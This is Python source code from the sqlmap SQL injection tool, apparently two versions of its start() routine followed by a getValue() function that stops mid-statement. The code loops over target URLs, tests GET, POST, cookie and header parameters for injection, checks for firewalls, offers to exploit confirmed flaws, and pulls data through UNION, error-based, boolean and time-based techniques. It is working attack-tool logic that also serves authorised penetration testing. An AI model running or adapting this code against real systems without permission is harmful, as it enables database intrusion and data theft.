def start(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ if conf.hashFile: crackHashFile(conf.hashFile) if conf.direct: initTargetEnv() setupTargetEnv() action() return True if conf.url and not any((conf.forms, conf.crawlDepth)): kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target URL, list of targets or google dork" logger.error(errMsg) return False if kb.targets and len(kb.targets) > 1: infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) logger.info(infoMsg) hostCount = 0 initialHeaders = list(conf.httpHeaders) for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: if conf.checkInternet: infoMsg = "checking for Internet connection" logger.info(infoMsg) if not checkInternet(): warnMsg = "[%s] [WARNING] no connection detected" % time.strftime( "%X") dataToStdout(warnMsg) while not checkInternet(): dataToStdout('.') time.sleep(5) dataToStdout("\n") conf.url = targetUrl conf.method = targetMethod.upper( ) if targetMethod else targetMethod conf.data = targetData conf.cookie = targetCookie conf.httpHeaders = list(initialHeaders) conf.httpHeaders.extend(targetHeaders or []) if conf.randomAgent or conf.mobile: for header, value in initialHeaders: if header.upper() == HTTP_HEADER.USER_AGENT.upper(): conf.httpHeaders.append((header, value)) break conf.httpHeaders = [ conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in ( __[0].upper() for __ in conf.httpHeaders[i + 1:]) ] initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters and not any( (conf.data, conf.testParameter)): for parameter in re.findall( r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: message = "SQL injection vulnerability has already been detected " message += "against '%s'. Do you want to skip " % conf.hostname message += "further tests involving it? [Y/n]" kb.skipVulnHost = readInput(message, default='Y', boolean=True) testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms and conf.method: message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl) else: message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl) if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: message += "\n%s data: %s" % ( (conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data) if conf.forms and conf.method: if conf.method == HTTPMETHOD.GET and targetUrl.find( "?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'N': continue elif choice == 'Q': break else: if conf.method != HTTPMETHOD.GET: message = "Edit %s data [default: %s]%s: " % ( conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult( EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode( conf.data) if conf.data and urlencode( DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data else: if '?' in targetUrl: firstPart, secondPart = targetUrl.split('?', 1) message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() else: message += "\ndo you want to test this URL? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': dataToStdout(os.linesep) continue elif choice == 'Q': break infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms ) or not checkString() or not checkRegexp(): continue if conf.rParam and kb.originalPage: kb.randomPool = dict([ _ for _ in kb.randomPool.items() if isinstance(_[1], list) ]) for match in re.finditer( r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>", kb.originalPage): name, _ = match.groups() options = tuple( re.findall(r"<option[^>]+\bvalue\s*=\s*[\"']([^\"']+)", _)) if options: kb.randomPool[name] = options checkWaf() if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None) ) and (kb.injection.place is None or kb.injection.parameter is None): if not any((conf.string, conf.notString, conf.regexp )) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() # Do a little prioritization reorder of a testable parameter list parameters = list(conf.parameters.keys()) # Order of testing list (first to last) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # --param-filter skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter) # Test Host header only if # --level >= 5 skip |= (place == PLACE.HOST and conf.level < 5) # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.USER_AGENT and intersect( USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect( PLACE.COOKIE, conf.skip, True) not in ([], None)) skip |= (place == PLACE.HOST and intersect( PLACE.HOST, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.USER_AGENT and intersect( USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect( HOST_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.COOKIE and intersect( (PLACE.COOKIE, ), conf.testParameter, True)) if skip: continue if place not in conf.paramDict: continue paramDict = conf.paramDict[place] paramType = conf.method if conf.method not in ( None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = "skipping previously processed %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif any(_ in conf.testParameter for _ in (parameter, removePostHintPrefix(parameter))): pass elif parameter in conf.rParam: testSqlInj = False infoMsg = "skipping randomizing %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif parameter in conf.skip or kb.postHint and parameter.split( ' ')[-1] in conf.skip: testSqlInj = False infoMsg = "skipping %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif conf.paramExclude and ( re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)): testSqlInj = False infoMsg = "skipping %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif conf.csrfToken and re.search( conf.csrfToken, parameter, re.I): testSqlInj = False infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter logger.info(infoMsg) # Ignore session-like parameters for --level < 4 elif conf.level < 4 and ( parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith( GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False infoMsg = "ignoring %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic: check = checkDynParam(place, parameter, value) if not check: warnMsg = "%sparameter '%s' does not appear to be dynamic" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.warn(warnMsg) if conf.skipStatic: infoMsg = "skipping static %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) testSqlInj = False else: infoMsg = "%sparameter '%s' appears to be dynamic" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: try: if place == PLACE.COOKIE: pushValue(kb.mergeCookies) kb.mergeCookies = False check = heuristicCheckSqlInjection( place, parameter) if check != HEURISTIC_TEST.POSITIVE: if conf.smart or ( kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): infoMsg = "skipping %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) continue infoMsg = "testing for SQL injection on %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) injection = checkSqlInjection( place, parameter, value) proceed = not kb.endDetection injectable = False if getattr(injection, "place", None) is not None: if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes: kb.falsePositives.append(injection) else: injectable = True kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) if not proceed: break msg = "%sparameter '%s' " % ( "%s " % injection.place if injection.place != injection.parameter else "", injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " if not readInput(msg, default='N', boolean=True): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) if not injectable: warnMsg = "%sparameter '%s' does not seem to be injectable" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.warn(warnMsg) finally: if place == PLACE.COOKIE: kb.mergeCookies = popValue() if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" if kb.originalPage: advice = [] if not conf.forms and re.search( r"<form", kb.originalPage) is not None: advice.append("--forms") if not conf.crawlDepth and re.search( r"href=[\"']/?\w", kb.originalPage) is not None: advice.append("--crawl=2") if advice: errMsg += ". You are advised to rerun with '%s'" % ' '.join( advice) raise SqlmapNoneDataException(errMsg) else: errMsg = "all tested parameters do not appear to be injectable." if conf.level < 5 or conf.risk < 3: errMsg += " Try to increase values for '--level'/'--risk' options " errMsg += "if you wish to perform more tests." if isinstance(conf.technique, list) and len(conf.technique) < 5: errMsg += " Rerun without providing the option '--technique'." if not conf.textOnly and kb.originalPage: percent = ( 100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicMarkings: errMsg += " You can give it a go with the switch '--text-only' " errMsg += "if the target page has a low percentage " errMsg += "of textual content (~%.2f%% of " % percent errMsg += "page content is text)." elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: errMsg += " Please retry with the switch '--text-only' " errMsg += "(along with --technique=BU) as this case " errMsg += "looks like a perfect candidate " errMsg += "(low textual content along with inability " errMsg += "of comparison engine to detect at least " errMsg += "one dynamic parameter)." if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += " As heuristic test turned out positive you are " errMsg += "strongly advised to continue on with the tests." if conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " errMsg += "have chosen does not match " errMsg += "exclusively True responses." elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--regexp' as perhaps the regular " errMsg += "expression that you have chosen " errMsg += "does not match exclusively True responses." if not conf.tamper: errMsg += " If you suspect that there is some kind of protection mechanism " errMsg += "involved (e.g. WAF) maybe you could try to use " errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" if not conf.randomAgent: errMsg += " and/or switch '--random-agent'" raise SqlmapNotVulnerableException(errMsg.rstrip('.')) else: # Flush the flag kb.testMode = False _saveToResultsFile() _saveToHashDB() _showInjections() _selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " condition = readInput(message, default='Y', boolean=True) else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': return False elif choice == 'Q': raise SqlmapUserQuitException else: raise except SqlmapSkipTargetException: pass except SqlmapUserQuitException: raise except SqlmapSilentQuitException: raise except SqlmapBaseException as ex: errMsg = getSafeExString(ex) if conf.multipleTargets: _saveToResultsFile() errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") logger.error(errMsg.lstrip(", ")) else: logger.critical(errMsg) return False finally: showHttpErrorCodes() if kb.maxConnectionsFlag: warnMsg = "it appears that the target " warnMsg += "has a maximum connections " warnMsg += "constraint" logger.warn(warnMsg) if kb.dataOutputFlag and not conf.multipleTargets: logger.info("fetched data logged to text files under '%s'" % conf.outputPath) if conf.multipleTargets: if conf.resultsFile: infoMsg = "you can find results of scanning in multiple targets " infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile logger.info(infoMsg) return True
def start(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ if conf.direct: initTargetEnv() setupTargetEnv() action() return True if conf.url and not any((conf.forms, conf.crawlDepth)): kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target URL, list of targets or google dork" logger.error(errMsg) return False if kb.targets and len(kb.targets) > 1: infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) logger.info(infoMsg) hostCount = 0 initialHeaders = list(conf.httpHeaders) for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: conf.url = targetUrl conf.method = targetMethod.upper( ) if targetMethod else targetMethod conf.data = targetData conf.cookie = targetCookie conf.httpHeaders = list(initialHeaders) conf.httpHeaders.extend(targetHeaders or []) initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters and not any( [conf.data, conf.testParameter]): for parameter in re.findall( r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: message = "SQL injection vulnerability has already been detected " message += "against '%s'. Do you want to skip " % conf.hostname message += "further tests involving it? [Y/n]" kb.skipVulnHost = readInput(message, default="Y").upper() != 'N' testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms and conf.method: message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl) else: message = "URL %d:\n%s %s%s" % ( hostCount, HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "") if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: message += "\n%s data: %s" % ( (conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "") if conf.forms and conf.method: if conf.method == HTTPMETHOD.GET and targetUrl.find( "?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): if conf.method != HTTPMETHOD.GET: message = "Edit %s data [default: %s]%s: " % ( conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult( EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode( conf.data) if conf.data and urlencode( DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data else: if targetUrl.find("?") > -1: firstPart = targetUrl[:targetUrl.find("?")] secondPart = targetUrl[targetUrl.find("?") + 1:] message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break else: message += "\ndo you want to test this URL? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): dataToStdout(os.linesep) continue elif test[0] in ("q", "Q"): break infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms ) or not checkString() or not checkRegexp(): continue checkWaf() if conf.identifyWaf: return identifyWaf() else: return False if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ and (kb.injection.place is None or kb.injection.parameter is None): if not any( (conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() # Do a little prioritization reorder of a testable parameter list parameters = conf.parameters.keys() # Order of testing list (first to last) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # Test Host header only if # --level >= 5 skip |= (place == PLACE.HOST and conf.level < 5) # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.USER_AGENT and intersect( USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect( PLACE.COOKIE, conf.skip, True) not in ([], None)) skip |= (place == PLACE.HOST and intersect( PLACE.HOST, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.USER_AGENT and intersect( USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect( HOST_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.COOKIE and intersect( (PLACE.COOKIE, ), conf.testParameter, True)) if skip: continue if kb.testOnlyCustom and place not in ( PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): continue if place not in conf.paramDict: continue paramDict = conf.paramDict[place] paramType = conf.method if conf.method not in ( None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = "skipping previously processed %s parameter '%s'" % ( paramType, parameter) logger.info(infoMsg) elif parameter in conf.testParameter: pass elif parameter == conf.rParam: testSqlInj = False infoMsg = "skipping randomizing %s parameter '%s'" % ( paramType, parameter) logger.info(infoMsg) elif parameter in conf.skip or kb.postHint and parameter.split( ' ')[-1] in conf.skip: testSqlInj = False infoMsg = "skipping %s parameter '%s'" % ( paramType, parameter) logger.info(infoMsg) elif parameter == conf.csrfToken: testSqlInj = False infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter logger.info(infoMsg) # Ignore session-like parameters for --level < 4 elif conf.level < 4 and ( parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith( GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False infoMsg = "ignoring %s parameter '%s'" % ( paramType, parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic: check = checkDynParam(place, parameter, value) if not check: warnMsg = "%s parameter '%s' does not appear dynamic" % ( paramType, parameter) logger.warn(warnMsg) if conf.skipStatic: infoMsg = "skipping static %s parameter '%s'" % ( paramType, parameter) logger.info(infoMsg) testSqlInj = False else: infoMsg = "%s parameter '%s' is dynamic" % ( paramType, parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: try: if place == PLACE.COOKIE: pushValue(kb.mergeCookies) kb.mergeCookies = False check = heuristicCheckSqlInjection( place, parameter) if check != HEURISTIC_TEST.POSITIVE: if conf.smart or ( kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): infoMsg = "skipping %s parameter '%s'" % ( paramType, parameter) logger.info(infoMsg) continue infoMsg = "testing for SQL injection on %s " % paramType infoMsg += "parameter '%s'" % parameter logger.info(infoMsg) injection = checkSqlInjection( place, parameter, value) proceed = not kb.endDetection injectable = False if getattr(injection, "place", None) is not None: if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes: kb.falsePositives.append(injection) else: injectable = True kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) if not proceed: break msg = "%s parameter '%s' " % ( injection.place, injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " test = readInput(msg, default="N") if test[0] not in ("y", "Y"): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) if not injectable: warnMsg = "%s parameter '%s' does not seem to be " % ( paramType, parameter) warnMsg += "injectable" logger.warn(warnMsg) finally: if place == PLACE.COOKIE: kb.mergeCookies = popValue() if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" raise SqlmapNoneDataException(errMsg) else: errMsg = "all tested parameters appear to be not injectable." if conf.level < 5 or conf.risk < 3: errMsg += " Try to increase '--level'/'--risk' values " errMsg += "to perform more tests." if isinstance(conf.tech, list) and len(conf.tech) < 5: errMsg += " Rerun without providing the option '--technique'." if not conf.textOnly and kb.originalPage: percent = ( 100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicMarkings: errMsg += " You can give it a go with the switch '--text-only' " errMsg += "if the target page has a low percentage " errMsg += "of textual content (~%.2f%% of " % percent errMsg += "page content is text)." elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: errMsg += " Please retry with the switch '--text-only' " errMsg += "(along with --technique=BU) as this case " errMsg += "looks like a perfect candidate " errMsg += "(low textual content along with inability " errMsg += "of comparison engine to detect at least " errMsg += "one dynamic parameter)." if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += " As heuristic test turned out positive you are " errMsg += "strongly advised to continue on with the tests. " errMsg += "Please, consider usage of tampering scripts as " errMsg += "your target might filter the queries." if not conf.string and not conf.notString and not conf.regexp: errMsg += " Also, you can try to rerun by providing " errMsg += "either a valid value for option '--string' " errMsg += "(or '--regexp')." elif conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " errMsg += "have chosen does not match " errMsg += "exclusively True responses." elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--regexp' as perhaps the regular " errMsg += "expression that you have chosen " errMsg += "does not match exclusively True responses." if not conf.tamper: errMsg += " If you suspect that there is some kind of protection mechanism " errMsg += "involved (e.g. WAF) maybe you could retry " errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')" raise SqlmapNotVulnerableException(errMsg.rstrip('.')) else: # Flush the flag kb.testMode = False _saveToResultsFile() _saveToHashDB() _showInjections() _selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " exploit = readInput(message, default="Y") condition = not exploit or exploit[0] in ("y", "Y") else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) #message = "do you want to skip to the next target in list? [Y/n/q]" #test = readInput(message, default="Y") # #if not test or test[0] in ("y", "Y"): # pass #elif test[0] in ("n", "N"): # return False #elif test[0] in ("q", "Q"): # raise SqlmapUserQuitException else: raise except SqlmapUserQuitException: raise except SqlmapSilentQuitException: raise except SqlmapBaseException, ex: errMsg = getSafeExString(ex) if conf.multipleTargets: _saveToResultsFile() errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") logger.error(errMsg.lstrip(", ")) else: logger.critical(errMsg) return False finally:
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms( ): if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"): warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms( ) singleTimeWarnMessage(warnMsg) conf.hexConvert = False else: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue for keyword in GET_VALUE_UPPERCASE_KEYWORDS: expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression) if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: pushValue(conf.db) pushValue(conf.tbl) if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any( isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): setTechnique(PAYLOAD.TECHNIQUE.UNION) kb.forcePartialUnion = kb.injection.data[ PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[ PAYLOAD.TECHNIQUE. UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion try: value = _goUnion( forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: if not fallback: raise count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if not found and fallback: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" if " FROM " in query.upper(): warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) try: pushValue(kb.forcePartialUnion) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) finally: kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) if error and any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: setTechnique(PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY) value = errorUse( forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsDomain: _ = "".join( filterNone( key if isTechniqueAvailable(value) else None for key, value in { 'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION }.items())) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable( PAYLOAD.TECHNIQUE.BOOLEAN) and not found: setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable( PAYLOAD.TECHNIQUE.STACKED)) and not found: match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression) kb.responseTimeMode = "%s|%s" % ( match.group(1), match.group(2)) if match else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): setTechnique(PAYLOAD.TECHNIQUE.TIME) else: setTechnique(PAYLOAD.TECHNIQUE.STACKED) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise 